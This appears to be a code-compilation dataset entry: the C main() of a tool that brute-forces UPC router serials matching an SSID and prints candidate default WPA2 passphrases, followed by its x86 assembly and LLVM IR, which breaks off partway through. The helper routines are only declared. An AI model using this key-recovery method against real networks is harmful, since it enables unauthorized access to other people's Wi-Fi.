#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ uint8_t;
typedef int uint32_t;
typedef int uint16_t;
typedef int /*<<< orphan*/ MD5_CTX;

/* Variables and functions */
int /*<<< orphan*/ MD5_Final(int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int /*<<< orphan*/ MD5_Init(int /*<<< orphan*/ *);
int /*<<< orphan*/ MD5_Update(int /*<<< orphan*/ *, char *, int);
int /*<<< orphan*/ banner();
int /*<<< orphan*/ hash2pass(int /*<<< orphan*/ *, char *);
int mangle(int *);
scalar_t__ memcmp(char *, char *, int);
int /*<<< orphan*/ memcpy(char *, char *, int);
int /*<<< orphan*/ memset(char *, int /*<<< orphan*/, int);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ sprintf(char *, char *, int, int, ...);
scalar_t__ strcmp(char *, char *);
int strlen(char *);
int strtoul(char *, int /*<<< orphan*/ *, int /*<<< orphan*/);
int upc_generate_ssid(int *, int);
int /*<<< orphan*/ usage(char *);
int main(int argc, char *argv[]) {
  uint32_t buf[4], target;
  char serial[64];
  char serial_input[64];
  char pass[9], tmpstr[17];
  uint8_t h1[16], h2[16];
  uint32_t hv[4], w1, w2, i, cnt = 0;
  int mode = 0;
  banner();
  if (argc != 3) {
    usage(argv[0]);
    return 1;
  }
  if (strlen(argv[1]) != 10 || memcmp(argv[1], "UPC", 3) != 0) {
    usage(argv[0]);
    return 1;
  }
  if (strcmp(argv[2], "24") == 0)
    mode = 1;
  else if (strcmp(argv[2], "5") == 0)
    mode = 2;
  if (mode == 0) {
    usage(argv[0]);
    return 1;
  }
  target = strtoul(argv[1] + 3, NULL, 0);
  MD5_CTX ctx;
  for (buf[0] = 0; buf[0] <= 9; buf[0]++)
    for (buf[1] = 0; buf[1] <= 99; buf[1]++)
      for (buf[2] = 0; buf[2] <= 9; buf[2]++)
        for (buf[3] = 0; buf[3] <= 9999; buf[3]++) {
          if (mode == 1 && upc_generate_ssid(buf, 0xff8d8f20) != target)
            continue;
          if (mode == 2 && upc_generate_ssid(buf, 0xffd9da60) != target)
            continue;
          cnt++;
          sprintf(serial, "SAAP%d%02d%d%04d", buf[0], buf[1], buf[2], buf[3]);
          memset(serial_input, 0, 64);
          if (mode == 2) {
            for (i = 0; i < strlen(serial); i++) {
              serial_input[strlen(serial) - 1 - i] = serial[i];
            }
          } else {
            memcpy(serial_input, serial, strlen(serial));
          }
          MD5_Init(&ctx);
          MD5_Update(&ctx, serial_input, strlen(serial_input));
          MD5_Final(h1, &ctx);
          for (i = 0; i < 4; i++) {
            hv[i] = *(uint16_t *)(h1 + i * 2);
          }
          w1 = mangle(hv);
          for (i = 0; i < 4; i++) {
            hv[i] = *(uint16_t *)(h1 + 8 + i * 2);
          }
          w2 = mangle(hv);
          sprintf(tmpstr, "%08X%08X", w1, w2);
          MD5_Init(&ctx);
          MD5_Update(&ctx, tmpstr, strlen(tmpstr));
          MD5_Final(h2, &ctx);
          hash2pass(h2, pass);
          printf("  -> WPA2 phrase for '%s' = '%s'\n", serial, pass);
        }
  printf("\n  \x1b[1m=> found %u possible WPA2 phrases, enjoy!\x1b[0m\n\n",
         cnt);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x1a0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x170(%rbp)
movl   $0x0,-0x174(%rbp)
mov    $0x0,%al
call   1080 <banner@plt>
cmpl   $0x3,-0x8(%rbp)
je     1256 <main+0x56>
mov    -0x10(%rbp),%rax
mov    (%rax),%rdi
call   10c0 <usage@plt>
movl   $0x1,-0x4(%rbp)
jmp    16de <main+0x4de>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1040 <strlen@plt>
cmp    $0xa,%eax
jne    128f <main+0x8f>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
lea    0xd85(%rip),%rsi
mov    $0x3,%edx
call   1090 <memcmp@plt>
cmp    $0x0,%rax
je     12a7 <main+0xa7>
mov    -0x10(%rbp),%rax
mov    (%rax),%rdi
call   10c0 <usage@plt>
movl   $0x1,-0x4(%rbp)
jmp    16de <main+0x4de>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
lea    0xd4e(%rip),%rsi
call   10a0 <strcmp@plt>
cmp    $0x0,%rax
jne    12d4 <main+0xd4>
movl   $0x1,-0x174(%rbp)
jmp    1301 <main+0x101>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
lea    0xd24(%rip),%rsi
call   10a0 <strcmp@plt>
cmp    $0x0,%rax
jne    12fc <main+0xfc>
movl   $0x2,-0x174(%rbp)
jmp    1301 <main+0x101>
cmpl   $0x0,-0x174(%rbp)
jne    1326 <main+0x126>
mov    -0x10(%rbp),%rax
mov    (%rax),%rdi
call   10c0 <usage@plt>
movl   $0x1,-0x4(%rbp)
jmp    16de <main+0x4de>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
add    $0x3,%rdi
xor    %eax,%eax
mov    %eax,%esi
xor    %edx,%edx
call   10e0 <strtoul@plt>
mov    %eax,-0x24(%rbp)
movl   $0x0,-0x20(%rbp)
cmpl   $0x9,-0x20(%rbp)
jg     16c3 <main+0x4c3>
movl   $0x0,-0x1c(%rbp)
cmpl   $0x63,-0x1c(%rbp)
jg     16b0 <main+0x4b0>
movl   $0x0,-0x18(%rbp)
cmpl   $0x9,-0x18(%rbp)
jg     169d <main+0x49d>
movl   $0x0,-0x14(%rbp)
cmpl   $0x270f,-0x14(%rbp)
jg     168a <main+0x48a>
cmpl   $0x1,-0x174(%rbp)
jne    13b0 <main+0x1b0>
lea    -0x20(%rbp),%rdi
mov    $0xff8d8f20,%esi
call   10d0 <upc_generate_ssid@plt>
cmp    -0x24(%rbp),%eax
je     13b0 <main+0x1b0>
jmp    167c <main+0x47c>
cmpl   $0x2,-0x174(%rbp)
jne    13d9 <main+0x1d9>
lea    -0x20(%rbp),%rdi
mov    $0xffd9da60,%esi
call   10d0 <upc_generate_ssid@plt>
cmp    -0x24(%rbp),%eax
je     13d9 <main+0x1d9>
jmp    167c <main+0x47c>
mov    -0x170(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x170(%rbp)
lea    -0x70(%rbp),%rdi
mov    -0x20(%rbp),%edx
mov    -0x1c(%rbp),%ecx
mov    -0x18(%rbp),%r8d
mov    -0x14(%rbp),%r9d
lea    0xc08(%rip),%rsi
mov    $0x0,%al
call   1100 <sprintf@plt>
lea    -0xb0(%rbp),%rdi
xor    %esi,%esi
mov    $0x40,%edx
call   1070 <memset@plt>
cmpl   $0x2,-0x174(%rbp)
jne    14a2 <main+0x2a2>
movl   $0x0,-0x16c(%rbp)
mov    -0x16c(%rbp),%eax
mov    %eax,-0x17c(%rbp)
lea    -0x70(%rbp),%rdi
call   1040 <strlen@plt>
mov    %eax,%ecx
mov    -0x17c(%rbp),%eax
cmp    %ecx,%eax
jge    149d <main+0x29d>
movslq -0x16c(%rbp),%rax
mov    -0x70(%rbp,%rax,1),%al
mov    %al,-0x17d(%rbp)
lea    -0x70(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x17d(%rbp),%cl
sub    $0x1,%eax
sub    -0x16c(%rbp),%eax
cltq
mov    %cl,-0xb0(%rbp,%rax,1)
mov    -0x16c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x16c(%rbp)
jmp    1432 <main+0x232>
jmp    14d9 <main+0x2d9>
lea    -0xb0(%rbp),%rax
mov    %rax,-0x190(%rbp)
lea    -0x70(%rbp),%rax
mov    %rax,-0x188(%rbp)
lea    -0x70(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x190(%rbp),%rdi
mov    -0x188(%rbp),%rsi
mov    %eax,%edx
call   10b0 <memcpy@plt>
lea    -0x178(%rbp),%rdi
call   10f0 <MD5_Init@plt>
lea    -0xb0(%rbp),%rax
mov    %rax,-0x198(%rbp)
lea    -0xb0(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x198(%rbp),%rsi
mov    %eax,%edx
lea    -0x178(%rbp),%rdi
call   1120 <MD5_Update@plt>
lea    -0x110(%rbp),%rdi
lea    -0x178(%rbp),%rsi
call   1030 <MD5_Final@plt>
movl   $0x0,-0x16c(%rbp)
cmpl   $0x4,-0x16c(%rbp)
jge    1572 <main+0x372>
mov    -0x16c(%rbp),%eax
shl    $0x1,%eax
cltq
mov    -0x110(%rbp,%rax,4),%ecx
movslq -0x16c(%rbp),%rax
mov    %ecx,-0x160(%rbp,%rax,4)
mov    -0x16c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x16c(%rbp)
jmp    1531 <main+0x331>
lea    -0x160(%rbp),%rdi
call   1110 <mangle@plt>
mov    %eax,-0x164(%rbp)
movl   $0x0,-0x16c(%rbp)
cmpl   $0x4,-0x16c(%rbp)
jge    15cf <main+0x3cf>
mov    -0x16c(%rbp),%eax
shl    $0x1,%eax
cltq
mov    -0xf0(%rbp,%rax,4),%ecx
movslq -0x16c(%rbp),%rax
mov    %ecx,-0x160(%rbp,%rax,4)
mov    -0x16c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x16c(%rbp)
jmp    158e <main+0x38e>
lea    -0x160(%rbp),%rdi
call   1110 <mangle@plt>
mov    %eax,-0x168(%rbp)
lea    -0xd0(%rbp),%rdi
mov    -0x164(%rbp),%edx
mov    -0x168(%rbp),%ecx
lea    0xa1f(%rip),%rsi
mov    $0x0,%al
call   1100 <sprintf@plt>
lea    -0x178(%rbp),%rdi
call   10f0 <MD5_Init@plt>
lea    -0xd0(%rbp),%rax
mov    %rax,-0x1a0(%rbp)
lea    -0xd0(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x1a0(%rbp),%rsi
mov    %eax,%edx
lea    -0x178(%rbp),%rdi
call   1120 <MD5_Update@plt>
lea    -0x150(%rbp),%rdi
lea    -0x178(%rbp),%rsi
call   1030 <MD5_Final@plt>
lea    -0x150(%rbp),%rdi
lea    -0xb9(%rbp),%rsi
call   1060 <hash2pass@plt>
lea    -0x70(%rbp),%rsi
lea    -0xb9(%rbp),%rdx
lea    0x9ae(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x14(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x14(%rbp)
jmp    137a <main+0x17a>
jmp    168f <main+0x48f>
mov    -0x18(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x18(%rbp)
jmp    1369 <main+0x169>
jmp    16a2 <main+0x4a2>
mov    -0x1c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x1c(%rbp)
jmp    1358 <main+0x158>
jmp    16b5 <main+0x4b5>
mov    -0x20(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x20(%rbp)
jmp    1347 <main+0x147>
mov    -0x170(%rbp),%esi
lea    0x975(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x1a0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x178,%rsp
mov    %rsi,%rbp
mov    %edi,%ebx
xor    %eax,%eax
call   1080 <banner@plt>
cmp    $0x3,%ebx
jne    124a <main+0x4a>
mov    0x8(%rbp),%rdi
call   1040 <strlen@plt>
cmp    $0xa,%eax
jne    124a <main+0x4a>
mov    0x8(%rbp),%rdi
lea    0xdc5(%rip),%rsi
mov    $0x3,%edx
call   1090 <memcmp@plt>
test   %rax,%rax
je     126c <main+0x6c>
mov    0x0(%rbp),%rdi
call   10c0 <usage@plt>
mov    $0x1,%ebx
mov    %ebx,%eax
add    $0x178,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    0x10(%rbp),%rdi
lea    0xd8d(%rip),%rsi
call   10a0 <strcmp@plt>
mov    %rax,%r12
test   %rax,%rax
je     1299 <main+0x99>
mov    0x10(%rbp),%rdi
lea    0xd78(%rip),%rsi
call   10a0 <strcmp@plt>
test   %rax,%rax
jne    124a <main+0x4a>
mov    0x8(%rbp),%rdi
add    $0x3,%rdi
xor    %esi,%esi
xor    %edx,%edx
call   10e0 <strtoul@plt>
mov    %eax,%ebx
movl   $0x0,(%rsp)
mov    %rsp,%rbp
lea    0xf0(%rsp),%r14
lea    0xb0(%rsp),%r13
lea    0x3c(%rsp),%r15
movl   $0x0,0x1c(%rsp)
mov    %eax,0x38(%rsp)
jmp    12f2 <main+0xf2>
nopl   0x0(%rax)
mov    (%rsp),%eax
lea    0x1(%rax),%ecx
mov    %ecx,(%rsp)
cmp    $0x9,%eax
jge    1518 <main+0x318>
movl   $0x0,0x4(%rsp)
jmp    1310 <main+0x110>
nopl   0x0(%rax)
mov    0x4(%rsp),%eax
lea    0x1(%rax),%ecx
mov    %ecx,0x4(%rsp)
cmp    $0x63,%eax
jge    12e0 <main+0xe0>
movl   $0x0,0x8(%rsp)
jmp    1330 <main+0x130>
nopw   0x0(%rax,%rax,1)
mov    0x8(%rsp),%eax
lea    0x1(%rax),%ecx
mov    %ecx,0x8(%rsp)
cmp    $0x9,%eax
jge    1300 <main+0x100>
movl   $0x0,0xc(%rsp)
jmp    146e <main+0x26e>
mov    %r13,%rdi
mov    %r14,%rsi
mov    %eax,%edx
call   10b0 <memcpy@plt>
addl   $0x1,0x1c(%rsp)
mov    %r15,%rdi
call   10f0 <MD5_Init@plt>
lea    0xb0(%rsp),%rbx
mov    %rbx,%rdi
call   1040 <strlen@plt>
mov    %r15,%rdi
mov    %rbx,%rsi
mov    %eax,%edx
call   1120 <MD5_Update@plt>
lea    0x40(%rsp),%rdi
mov    %r15,%rsi
call   1030 <MD5_Final@plt>
mov    0x40(%rsp),%eax
mov    0x48(%rsp),%ecx
mov    %eax,0x20(%rsp)
mov    %ecx,0x24(%rsp)
mov    0x50(%rsp),%eax
mov    %eax,0x28(%rsp)
mov    0x58(%rsp),%eax
mov    %eax,0x2c(%rsp)
lea    0x20(%rsp),%rbp
mov    %rbp,%rdi
call   1110 <mangle@plt>
mov    %eax,%r13d
mov    0x60(%rsp),%eax
mov    0x68(%rsp),%ecx
mov    %eax,0x20(%rsp)
mov    %ecx,0x24(%rsp)
mov    0x70(%rsp),%eax
mov    %eax,0x28(%rsp)
mov    0x78(%rsp),%eax
mov    %eax,0x2c(%rsp)
mov    %rbp,%rdi
call   1110 <mangle@plt>
lea    0x90(%rsp),%rbp
mov    %rbp,%rdi
lea    0xc2f(%rip),%rsi
mov    %r13d,%edx
mov    %rbx,%r13
mov    %eax,%ecx
xor    %eax,%eax
call   1100 <sprintf@plt>
mov    %r15,%rdi
call   10f0 <MD5_Init@plt>
mov    %rbp,%rdi
call   1040 <strlen@plt>
mov    %r15,%rdi
mov    %rbp,%rsi
mov    %eax,%edx
call   1120 <MD5_Update@plt>
lea    0x130(%rsp),%rbx
mov    %rbx,%rdi
mov    %r15,%rsi
call   1030 <MD5_Final@plt>
mov    %rbx,%rdi
lea    0x87(%rsp),%rbx
mov    %rbx,%rsi
call   1060 <hash2pass@plt>
lea    0xbdf(%rip),%rdi
mov    %r14,%rsi
mov    %rbx,%rdx
xor    %eax,%eax
call   1050 <printf@plt>
mov    0x38(%rsp),%ebx
mov    %rsp,%rbp
mov    0xc(%rsp),%eax
lea    0x1(%rax),%ecx
mov    %ecx,0xc(%rsp)
cmp    $0x270f,%eax
jge    1320 <main+0x120>
mov    %rbp,%rdi
test   %r12,%r12
je     1480 <main+0x280>
mov    $0xffd9da60,%esi
jmp    1485 <main+0x285>
nopl   (%rax)
mov    $0xff8d8f20,%esi
call   10d0 <upc_generate_ssid@plt>
cmp    %ebx,%eax
jne    1458 <main+0x258>
mov    (%rsp),%edx
mov    0x4(%rsp),%ecx
mov    0x8(%rsp),%r8d
mov    0xc(%rsp),%r9d
mov    %r14,%rdi
lea    0xb60(%rip),%rsi
xor    %eax,%eax
call   1100 <sprintf@plt>
mov    %r13,%rdi
xor    %esi,%esi
mov    $0x40,%edx
call   1070 <memset@plt>
mov    %r14,%rdi
call   1040 <strlen@plt>
test   %r12,%r12
je     133d <main+0x13d>
test   %eax,%eax
jle    134a <main+0x14a>
mov    $0xffffffff,%ebx
xor    %ebp,%ebp
nop
movzbl 0xf0(%rsp,%rbp,1),%r13d
mov    %r14,%rdi
call   1040 <strlen@plt>
add    %ebx,%eax
cltq
mov    %r13b,0xb0(%rsp,%rax,1)
add    $0x1,%rbp
mov    %r14,%rdi
call   1040 <strlen@plt>
cltq
add    $0xffffffff,%ebx
cmp    %rax,%rbp
jl     14e0 <main+0x2e0>
jmp    134a <main+0x14a>
lea    0xb26(%rip),%rdi
xor    %ebx,%ebx
mov    0x1c(%rsp),%esi
xor    %eax,%eax
call   1050 <printf@plt>
jmp    1258 <main+0x58>

LLVM IR (-O0):
@.str = [4 x i8] c"UPC\00"
@.str.1 = [3 x i8] c"24\00"
@.str.2 = [2 x i8] c"5\00"
@.str.3 = [17 x i8] c"SAAP%d%02d%d%04d\00"
@.str.4 = [9 x i8] c"%08X%08X\00"
@.str.5 = [34 x i8] c" -> WPA2 phrase for '%s' = '%s'\0A\00"
@.str.6 = [55 x i8] c"\0A \1B[1m=> found %u possible WPA2 phrases, enjoy!\1B[0m\0A\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca [4 x i32]
%7 = alloca i32
%8 = alloca [64 x i8]
%9 = alloca [64 x i8]
%10 = alloca [9 x i8]
%11 = alloca [17 x i8]
%12 = alloca [16 x i32]
%13 = alloca [16 x i32]
%14 = alloca [4 x i32]
%15 = alloca i32
%16 = alloca i32
%17 = alloca i32
%18 = alloca i32
%19 = alloca i32
%20 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %18
store i32 0, i32* %19
%21 = call i32 (...) @banner()
%22 = load i32, i32* %4
%23 = icmp ne i32 %22, 3
br i1 %23, label %24, label %29
24: ; preds = %2
%25 = load i8**, i8*** %5
%26 = getelementptr inbounds i8*, i8** %25, i64 0
%27 = load i8*, i8** %26
%28 = call i32 @usage(i8* %27)
store i32 1, i32* %3
br label %247
29: ; preds = %2
%30 = load i8**, i8*** %5
%31 = getelementptr inbounds i8*, i8** %30, i64 1
%32 = load i8*, i8** %31
%33 = call i32 @strlen(i8* %32)
%34 = icmp ne i32 %33, 10
br i1 %34, label %41, label %35
35: ; preds = %29
%36 = load i8**, i8*** %5
%37 = getelementptr inbounds i8*, i8** %36, i64 1
%38 = load i8*, i8** %37
%39 = call i64 @memcmp(i8* %38, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i32 3)
%40 = icmp ne i64 %39, 0
br i1 %40, label %41, label %46
41: ; preds = %35, %29
%42 = load i8**, i8*** %5
%43 = getelementptr inbounds i8*, i8** %42, i64 0
%44 = load i8*, i8** %43
%45 = call i32 @usage(i8* %44)
store i32 1, i32* %3
br label %247
46: ; preds = %35
%47 = load i8**, i8*** %5
%48 = getelementptr inbounds i8*, i8** %47, i64 2
%49 = load i8*, i8** %48
%50 = call i64 @strcmp(i8* %49, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0))
%51 = icmp eq i64 %50, 0
br i1 %51, label %52, label %53
52: ; preds = %46
store i32 1, i32* %19
br label %61
53: ; preds = %46
%54 = load i8**, i8*** %5
%55 = getelementptr inbounds i8*, i8** %54, i64 2
%56 = load i8*, i8** %55
%57 = call i64 @strcmp(i8* %56, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
%58 = icmp eq i64 %57, 0
br i1 %58, label %59, label %60
59: ; preds = %53
store i32 2, i32* %19
br label %60
60: ; preds = %59, %53
br label %61
61: ; preds = %60, %52
%62 = load i32, i32* %19
%63 = icmp eq i32 %62, 0
br i1 %63, label %64, label %69
64: ; preds = %61
%65 = load i8**, i8*** %5
%66 = getelementptr inbounds i8*, i8** %65, i64 0
%67 = load i8*, i8** %66
%68 = call i32 @usage(i8* %67)
store i32 1, i32* %3
br label %247
69: ; preds = %61
%70 = load i8**, i8*** %5
%71 = getelementptr inbounds i8*, i8** %70, i64 1
%72 = load i8*, i8** %71
%73 = getelementptr inbounds i8, i8* %72, i64 3
%74 = call i32 @strtoul(i8* %73, i32* null, i32 0)
store i32 %74, i32* %7
%75 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 0
store i32 0, i32* %75
br label %76
76: ; preds = %240, %69
%77 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 0
%78 = load i32, i32* %77
%79 = icmp sle i32 %78, 9
br i1 %79, label %80, label %244
80: ; preds = %76
%81 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 1
store i32 0, i32* %81
br label %82
82: ; preds = %235, %80
%83 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 1
%84 = load i32, i32* %83
%85 = icmp sle i32 %84, 99
br i1 %85, label %86, label %239
86: ; preds = %82
%87 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 2
store i32 0, i32* %87
br label %88
88: ; preds = %230, %86
%89 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 2
%90 = load i32, i32* %89
%91 = icmp sle i32 %90, 9
br i1 %91, label %92, label %234
92: ; preds = %88
%93 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 3
store i32 0, i32* %93
br label %94
94: ; preds = %225, %92
%95 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 3
%96 = load i32, i32* %95
%97 = icmp sle i32 %96, 9999
br i1 %97, label %98, label %229
98: ; preds = %94
%99 = load i32, i32* %19
%100 = icmp eq i32 %99, 1
br i1 %100, label %101, label %107
101: ; preds = %98
%102 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 0
%103 = call i32 @upc_generate_ssid(i32* %102, i32 -7500000)
%104 = load i32, i32* %7
%105 = icmp ne i32 %103, %104
br i1 %105, label %106, label %107
106: ; preds = %101
br label %225
107: ; preds = %101, %98
%108 = load i32, i32* %19
%109 = icmp eq i32 %108, 2
br i1 %109, label %110, label %116
110: ; preds = %107
%111 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 0
%112 = call i32 @upc_generate_ssid(i32* %111, i32 -2500000)
%113 = load i32, i32* %7
%114 = icmp ne i32 %112, %113
br i1 %114, label %115, label %116
115: ; preds = %110
br label %225
116: ; preds = %110, %107
%117 = load i32, i32* %18
%118 = add nsw i32 %117, 1
store i32 %118, i32* %18
%119 = getelementptr inbounds [64 x i8], [64 x i8]* %8, i64 0, i64 0
%120 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 0
%121 = load i32, i32* %120
%122 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 1
%123 = load i32, i32* %122
%124 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 2
%125 = load i32, i32* %124
%126 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 3
%127 = load i32, i32* %126
%128 = call i32 (i8*, i8*, i32, i32, ...) @sprintf(i8* %119, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.3, i64 0, i64 0), i32 %121, i32 %123, i32 %125, i32 %127)
%129 = getelementptr inbounds [64 x i8], [64 x i8]* %9, i64 0, i64 0
%130 = call i32 @memset(i8* %129, i32 0, i32 64)
%131 = load i32, i32* %19
%132 = icmp eq i32 %131, 2
br i1 %132, label %133, label %155
133: ; preds = %116
store i32 0, i32* %17
br label %134
134: ; preds = %151, %133
%135 = load i32, i32* %17
%136 = getelementptr inbounds [64 x i8], [64 x i8]* %8, i64 0, i64 0
%137 = call i32 @strlen(i8* %136)
%138 = icmp slt i32 %135, %137
br i1 %138, label %139, label %154
139: ; preds = %134
%140 = load i32, i32* %17
%141 = sext i32 %140 to i64
%142 = getelementptr inbounds [64 x i8], [64 x i8]* %8, i64 0, i64 %141
%143 = load i8, i8* %142
%144 = getelementptr inbounds [64 x i8], [64 x i8]* %8, i64 0, i64 0
%145 = call i32 @strlen(i8* %144)
%146 = sub nsw i32 %145, 1
%147 = load i32, i32* %17
%148 = sub nsw i32 %146, %147
%149 = sext i32 %148 to i64
%150 = getelementptr inbounds [64 x i8], [64 x i8]* %9, i64 0, i64 %149
store i8 %143, i8* %150
br label %151
151: ; preds = %139
%152 = load i32, i32* %17
%153 = add nsw i32 %152, 1
store i32 %153, i32* %17
br label %134
154: ; preds = %134
br label %161
155: ; preds = %116
%156 = getelementptr inbounds [64 x i8], [64 x i8]* %9, i64 0, i64 0
%157 = getelementptr inbounds [64 x i8], [64 x i8]* %8, i64 0, i64 0
%158 = getelementptr inbounds [64 x i8], [64 x i8]* %8, i64 0, i64 0
%159 = call i32 @strlen(i8* %158)
%160 = call i32 @memcpy(i8* %156, i8* %157, i32 %159)
br label %161
161: ; preds = %155, %154
%162 = call i32 @MD5_Init(i32* %20)
%163 = getelementptr inbounds [64 x i8], [64 x i8]* %9, i64 0, i64 0
%164 = getelementptr inbounds [64 x i8], [64 x i8]* %9, i64 0, i64 0
%165 = call i32 @strlen(i8* %164)
%166 = call i32 @MD5_Update(i32* %20, i8* %163, i32 %165)
%167 = getelementptr inbounds [16 x i32], [16 x i32]* %12, i64 0, i64 0
%168 = call i32 @MD5_Final(i32* %167, i32* %20)
store i32 0, i32* %17
br label %169
169: ; preds = %182, %161
%170 = load i32, i32* %17
%171 = icmp slt i32 %170, 4
br i1 %171, label %172, label %185
172: ; preds = %169
%173 = getelementptr inbounds [16 x i32], [16 x i32]* %12, i64 0, i64 0
%174 = load i32, i32* %17
%175 = mul nsw i32 %174, 2
%176 = sext i32 %175 to i64
%177 = getelementptr inbounds i32, i32* %173, i64 %176
%178 = load i32, i32* %177
%179 = load i32, i32* %17
%180 = sext i32 %179 to i64
%181 = getelementptr inbounds [4 x i32], [4 x i32]* %14, i64 0, i64 %180
store i32 %178, i32* %181
br label %182
182: ; preds = %172
%183 = load i32, i32* %17
%184 = add nsw i32 %183, 1
store i32 %184, i32* %17
br label %169
185: ; preds = %169
%186 = getelementptr inbounds [4 x i32], [4 x i32]* %14, i64 0, i64 0
%187 = call i32 @mangle(i32* %186)
store i32 %187, i32* %15
store i32 0, i32* %17
br label %188
188: ; preds = %202, %185
%189 = load i32, i32* %17
%190 = icmp slt i32 %189, 4
br i1 %190, label %191, label %205
191: ; preds = %188
%192 = getelementptr inbounds [16 x i32], [16 x i32]* %12, i64 0, i64 0
%193 = getelementptr inbounds i32, i32* %192, i64 8
%194 = load i32, i32* %17
%195 = mul nsw i32 %194, 2
%196 = sext i32 %195 to i64
%197 = getelementptr inbounds i32, i32* %193, i64 %196
%198 = load i32, i32* %197
%199 = load i32, i32* %17
%200 = sext i32 %199 to i64
%201 = getelementptr inbounds [4 x i32], [4 x i32]* %14, i64 0, i64 %200
store i32 %198, i32* %201
br label %202
202: ; preds = %191
%203 = load i32, i32* %17
%204 = add nsw i32 %203, 1
store i32 %204, i32* %17
br label %188
205: ; preds = %188
%206 = getelementptr inbounds [4 x i32], [4 x i32]* %14, i64 0, i64 0
%207 = call i32 @mangle(i32* %206)
store i32 %207, i32* %16
%208 = getelementptr inbounds [17 x i8], [17 x i8]* %11, i64 0, i64 0
%209 = load i32, i32* %15
%210 = load i32, i32* %16
%211 = call i32 (i8*, i8*, i32, i32, ...) @sprintf(i8* %208, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.4, i64 0, i64 0), i32 %209, i32 %210)
%212 = call i32 @MD5_Init(i32* %20)
%213 = getelementptr inbounds [17 x i8], [17 x i8]* %11, i64 0, i64 0
%214 = getelementptr inbounds [17 x i8], [17 x i8]* %11, i64 0, i64 0
%215 = call i32 @strlen(i8* %214)
%216 = call i32 @MD5_Update(i32* %20, i8* %213, i32 %215)
%217 = getelementptr inbounds [16 x i32], [16 x i32]* %13, i64 0, i64 0
%218 = call i32 @MD5_Final(i32* %217, i32* %20)
%219 = getelementptr inbounds [16 x i32], [16 x i32]* %13, i64 0, i64 0
%220 = getelementptr inbounds [9 x i8], [9 x i8]* %10, i64 0, i64 0
%221 = call i32 @hash2pass(i32* %219, i8* %220)
%222 = getelementptr inbounds [64 x i8], [64 x i8]* %8, i64 0, i64 0
%223 = getelementptr inbounds [9 x i8], [9 x i8]* %10, i64 0, i64 0
%224 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.5, i64 0, i64 0), i8* %222, i8* %223)
br label %225
225: ; preds = %205, %115, %106
%226 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 3
%227 = load i32, i32* %226
%228 = add nsw i32 %227, 1
store i32 %228, i32* %226
br label %94
229: ; preds = %94
br label %230
230: ; preds = %229
%231 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 2
%232 = load i32, i32* %231
%233 = add nsw i32 %232, 1
store i32 %233, i32* %231
br label %88
234: ; preds = %88
br label %235
235: ; preds = %234
%236 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 1
%237 = load i32, i32* %236
%238 = add nsw i32 %237, 1
